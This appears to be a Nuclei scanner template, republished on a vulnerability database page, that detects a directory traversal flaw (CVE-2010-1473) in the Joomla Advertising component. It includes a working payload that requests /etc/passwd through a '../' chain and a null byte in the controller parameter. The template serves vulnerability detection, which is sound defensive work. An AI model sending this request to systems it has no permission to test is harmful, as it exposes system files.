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Joomla! Component Advertising 0.25 - Local File Inclusion

🗓️ 10 Oct 2026 02:13:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
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A vulnerability in Joomla! com_advertising 0.25 allows remote attackers to read arbitrary files and compromise the entire installation

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id: CVE-2010-1473

info:
  name: Joomla! Component Advertising 0.25 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Advertising (com_advertising) component 0.25 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12171
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1473
    - http://packetstormsecurity.org/1004-exploits/joomlaeasyadbanner-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1473
    cwe-id: CWE-22
    epss-score: 0.08163
    epss-percentile: 0.94732
    cpe: cpe:2.3:a:johnmccollum:com_advertising:0.25:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: johnmccollum
    product: com_advertising
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,johnmccollum,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c6f1ed13566e90c067ed9a5c83f4555b3f1b274d0991c1da6cc3ed6b4328d6890221009845fc454e6925d0776a553da30b444d4652c7c0c1a0b79de54a817ca71985ab:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 26.8
EPSS0.08163
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